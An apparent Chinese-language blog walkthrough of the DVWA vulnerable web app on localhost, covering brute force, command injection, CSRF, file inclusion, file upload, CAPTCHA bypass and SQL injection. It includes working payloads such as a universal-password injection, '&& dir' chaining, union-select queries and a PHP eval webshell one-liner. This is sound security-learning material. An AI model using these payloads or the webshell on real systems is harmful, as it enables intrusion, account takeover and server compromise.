原來裝的DVWA沒有認認真真地做一遍,靶場環境也有點問題了,到github上面重新下載了一遍:https://github.com/ethicalhack3r/DVWA
復習常見的高危漏洞,產生,利用,防范的方法
DVWA靶場在本地的搭建不再贅述,網上有很多優秀的博客
將級別設置為Low
第一個模塊是Brute Force,暴力破解模塊
當輸入錯誤的賬號密碼時,頁面會返回錯誤信息
當輸入正確的賬號密碼時,頁面會返回正確信息
使用burpsuite抓包之后暴力破解賬號密碼
因為我們不知道賬號和密碼,所以使用burpsuite->intruder->Cluster bomb選項,對賬號密碼兩個參數進行爆破
但是這樣的做法不足之處在於,所有的嘗試次數=字典用戶名數量X字典密碼數量,用戶名和密碼的數量稍微大一點,運行次數就會非常大,所以在真實環境中,我們盡量手動先對用戶名進行測試,查看頁面的報錯信息,有很多網站都會顯示是用戶名錯誤,還是密碼錯誤,以此來判斷用戶名是否存在,再對存在的用戶名專門進行密碼爆破,減少了很多不必要的工作量
使用burpsuite自帶的用戶名和密碼字典,其組合數量都達到了三千多萬,所以在真實環境中盡量不要采用用戶名和密碼同時爆破的方法。
這里為了快速看到結果,我改為了爆破賬號為admin的密碼
根據返回包的不同相應判斷密碼是否正確,這里可以看到當密碼為password的時候返回包長度為4755,可知密碼就是password
Request id為0的那個是我第一次登陸的時候,直接設置密碼為password,所以也成功登錄。
查看Low級別的Brute Force的源代碼
<?php if( isset( $_GET[ 'Login' ] ) ) { // Get username $user = $_GET[ 'username' ]; // Get password $pass = $_GET[ 'password' ]; $pass = md5( $pass ); // Check the database $query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); if( $result && mysqli_num_rows( $result ) == 1 ) { // Get users details $row = mysqli_fetch_assoc( $result ); $avatar = $row["avatar"]; // Login successful echo "<p>Welcome to the password protected area {$user}</p>"; echo "<img src=\"{$avatar}\" />"; } else { // Login failed echo "<pre><br />Username and/or password incorrect.</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
可以看到將我們GET輸入的賬號和md5加密后的密碼放入了SQL查詢語句進行查詢,除此之外沒有對登錄點進行任何防御,還有這一句
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
可以看到這一句是存在SQL注入漏洞的,我們也可以使用萬能密碼在登錄點進行登錄,如構造:
密碼構造如 admin' or '1'='1#,密碼隨便輸入,即可繞過密碼進行登錄
第二個模塊是Command Injection,命令注入
這種題目在CTF比賽中遇到過,這里是我們先輸入一個ip地址,服務器會為我們ping這個IP地址
先復習一下命令注入的基礎知識
命令注入攻擊最初被稱為Shell命令注入攻擊,是由挪威一名程序員在1997年意外發現的。第一個命令注入攻擊程序能隨意地從一個網站刪除網頁,就像從磁盤或者硬盤移除文件一樣簡單。 ——百度百科
命令注入通過提交惡意構造的參數破壞命令語句結構,從而達到執行惡意命令的目的。PHP命令注入攻擊漏洞是PHP應用程序中常見的腳本漏洞之一,國內著名的Web應用程序Discuz!、DedeCMS等都曾經存在過該類型漏洞
在命令注入中有很多的特殊符號可以進行利用,達到繞過黑名單和執行任意命令的效果。
管道符 | :連結上個指令的標准輸出,做為下個指令的標准輸入。
后台工作&: 當要把命令放在后台執行時,在命令的后面加上&,注意是放在完整指令列的最后端,如linux下使用tar進行文件壓縮的時候,可能用時會比較長,我們就可以將其放入后台執行:
tar cvfz data.tar.gz data > /dev/null&
邏輯符號&& : 表示and的邏輯符號,當前一個命令執行成功之后,就執行&&后的一條命令
邏輯符號 || : 表示 or 的邏輯符號,當前一個命令執行失敗之后,才執行||后的一條命令
在linux和windows下都可以使用&&符號進行命令的連續執行
在這里我們服務器是windows的,所以輸入
127.0.0.1 && dir
可以看到不僅執行了ping 127.0.0.1的命令,還顯示了當前文件夾下的文件,實現了命令注入
<?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $target = $_REQUEST[ 'ip' ]; // Determine OS and execute the ping command. if( stristr( php_uname( 's' ), 'Windows NT' ) ) { // Windows $cmd = shell_exec( 'ping ' . $target ); } else { // *nix $cmd = shell_exec( 'ping -c 4 ' . $target ); } // Feedback for the end user echo "<pre>{$cmd}</pre>"; } ?>
查看命令注入 low級別的后端PHP代碼
在使用php_uname('s')函數判斷了我們的操作系統之后,使用shell_exec函數執行ping 我們輸入ip地址的命令,我們輸入了惡意數據之后,執行的命令變為了
ping 127.0.0.1 && dir
從而達到了命令注入的效果。
第三個模塊是Cross Site Request Forgery (CSRF)
CSRF即跨站請求偽造,也就是可以劫持其他用戶去進行一些請求,其危害的嚴重性由當前這個請求是什么操作來決定
可以看到這里是一個修改密碼的頁面,需要我們輸入新密碼
我們將密碼修改為password試試,可以看到url變化成為了:
http://127.0.0.1/DVWA-master/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#
如果用戶的登錄信息還沒有過期,點擊這個鏈接之后,就會將密碼修改為password,攻擊者並不能通過CSRF攻擊來直接獲取用戶的賬戶控制權,也不能直接竊取用戶的任何信息。他們能做到的,是欺騙用戶的瀏覽器,讓其以用戶的名義運行操作。
將管理員的密碼重置為admin
http://127.0.0.1/DVWA-master/vulnerabilities/csrf/?password_new=admin&password_conf=admin&Change=Change#
CSRF漏洞主要是用於越權操作,所有的漏洞出現在有權限控制的地方,比如說,管理后台,刪除文件之類的,有空的時候可以審計一下CMS,看能不能挖掘一些CSRF的CVE
看一下CSRF low級別的后端代碼:
<?php if( isset( $_GET[ 'Change' ] ) ) { // Get input $pass_new = $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ]; // Do the passwords match? if( $pass_new == $pass_conf ) { // They do! $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new ); // Update the database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Feedback for the user echo "<pre>Password Changed.</pre>"; } else { // Issue with passwords matching echo "<pre>Passwords did not match.</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
檢測兩次輸入的密碼是否相同,然后將密碼md5加密之后覆蓋數據庫里面原來的密碼值
在Burpsuite中有一個用於實現檢測CSRF漏洞的功能,在對Request包右鍵>Engagement tools>Generate CSRF PoC,其會自動生成一個HTML文件,我們也可以使用burpsuite來利用此漏洞
第四個模塊是文件包含漏洞 File Inclusion
如果有紅色的提示,需要在php.ini配置文件中將allow_url_include開啟為On,然后重啟phpstudy
重啟之后可以看到紅色的警告消失了
文件包含漏洞分為了本地文件包含和遠程文件包含,遠程文件包含就需要設置allow_url_include=On, 因為服務器開啟allow_url_include是一種危險行為,所以現在默認都是未開啟的。
相對於本地文件包含,遠程文件包含更容易被利用,我們先測試本地文件包含。
點擊file1.php文件,可以看到url的變化為:
?page=file1.php
點擊file2.php,url變換為:
?page=file2.php
所以很容易想到修改文件名,查看同目錄文件夾下不能訪問的文件
這里有file4.php,我們修改url為
?page=file4.php
可以看到頁面變為了
:-),這正是DVWA的作者想讓我們做的,當然,如果存在目錄遍歷漏洞的話,我們還可以訪問網站上的任意文件
在fi文件夾的上一級目錄中創建hi.txt文件
構造:
?page=../hi.txt
可以看到目錄跳轉之后顯示了hi.txt文件夾的信息
接下來我們嘗試遠程文件包含漏洞
在本地創建2.php文件
構造payload為:
?page=http://127.0.0.1/2.php
訪問執行了phpinfo(),當然也可以直接遠程包含一句話木馬。
看一下漏洞的源代碼為:
<?php // The page we wish to display $file = $_GET[ 'page' ]; ?>
可以看到對於輸入的page文件沒有進行任何過濾,成為變量file的值,文件包含后的顯示在代碼里並沒有顯示出來。
File Upload
文件上傳漏洞,很常見也是能迅速拿到服務器shell的一個漏洞。
常見的連接一句話木馬的工具有:中國菜刀,蟻劍,冰蠍。
我們這里還是使用中國菜刀,上傳PHP一句話木馬chopper.php
<?php @eval($_POST['chopper']);?>
上傳后友好地返回了上傳路徑
菜刀連接之
可以看到已經連接成功。
查看文件上傳漏洞的源代碼:
<?php if( isset( $_POST[ 'Upload' ] ) ) { // Where are we going to be writing to? $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); // Can we move the file to the upload folder? if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { // No echo '<pre>Your image was not uploaded.</pre>'; } else { // Yes! echo "<pre>{$target_path} succesfully uploaded!</pre>"; } } ?>
首先獲取到文件上傳的位置,使用move_uploaded_file() 函數將上傳的文件移動到新位置即我們剛才獲取到的文件上傳位置。
這里並沒有對上傳的文件是否為木馬進行檢查,上傳成功后返回上傳路徑以及提示信息。
Insecure CAPTCHA
不安全的驗證碼,做這個題目之前需要先配置config.ini.php里面的key值,先去谷歌網站上申請key值https://www.google.com/recaptcha/admin,操作很簡單,這里就不再贅述。
配置后是這樣的
這里是一個修改密碼的操作,火狐瀏覽器抓包出了點問題,直接分析源代碼
<?php if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) { // Hide the CAPTCHA form $hide_form = true; // Get input $pass_new = $_POST[ 'password_new' ]; $pass_conf = $_POST[ 'password_conf' ]; // Check CAPTCHA from 3rd party $resp = recaptcha_check_answer( $_DVWA[ 'recaptcha_private_key'], $_POST['g-recaptcha-response'] ); // Did the CAPTCHA fail? if( !$resp ) { // What happens when the CAPTCHA was entered incorrectly $html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>"; $hide_form = false; return; } else { // CAPTCHA was correct. Do both new passwords match? if( $pass_new == $pass_conf ) { // Show next stage for the user echo " <pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre> <form action=\"#\" method=\"POST\"> <input type=\"hidden\" name=\"step\" value=\"2\" /> <input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" /> <input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" /> <input type=\"submit\" name=\"Change\" value=\"Change\" /> </form>"; } else { // Both new passwords do not match. $html .= "<pre>Both passwords must match.</pre>"; $hide_form = false; } } } if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) { // Hide the CAPTCHA form $hide_form = true; // Get input $pass_new = $_POST[ 'password_new' ]; $pass_conf = $_POST[ 'password_conf' ]; // Check to see if both password match if( $pass_new == $pass_conf ) { // They do! $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new ); // Update database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Feedback for the end user echo "<pre>Password Changed.</pre>"; } else { // Issue with the passwords matching echo "<pre>Passwords did not match.</pre>"; $hide_form = false; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
雖然看上去操作很多,實際上就分為了兩步,可以看出來,兩個if進入的條件是通過是否點擊change和step的數值來決定的,而step數值是我們在抓包的過程中可以進行修改的。
第一個if是檢測驗證碼是否輸入正確,輸入正確后進入第二個if,進而修改密碼。這里的驗證碼就是為了防止CSRF點擊后直接修改密碼,添加了輸入驗證碼的判斷。
但是不難看出,雖然谷歌的驗證碼沒有問題,但是DVWA服務器后端對於驗證碼正確與否的判斷是由一個用戶可以修改的量step來決定的,進而我們可以令step=2,從而構建CSRF攻擊。
SQL Injection
sql注入漏洞,危害最大的漏洞之一,實際的漏洞挖掘中也經常遇到,但是因為防火牆和安全狗的原因,即便學習了SQL注入,我們還需要知道怎么繞過過濾,進一步進行SQL注入攻擊。同時直接將結果直接回顯在頁面上的注入也越來越少了,更多的時候我們需要用到盲注來獲取數據。
輸入ID查看頁面的回顯。
url為:
http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=5&Submit=Submit#
在id后添加單引號報錯
http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1%27&Submit=Submit#
注釋掉id后的引號頁面正常
http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1%27--+&Submit=Submit#
可以猜測后端的id變量為: '$id' 形式
查看源代碼關鍵處如下:
SELECT first_name, last_name FROM users WHERE user_id = '$id';
使用order by 判斷字段數為2
http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1%27%20order%20by%202--+&Submit=Submit#
回顯位置判斷:
http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1%27%20and%201=2%20union%20select%201,2--+&Submit=Submit#
回顯位置為1,2
簡單測試一下,查看當前用戶和數據庫名稱
http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1%27%20and%201=2%20union%20select%20user(),database()--+&Submit=Submit#
可以看到已經顯示了數據庫的名稱和用戶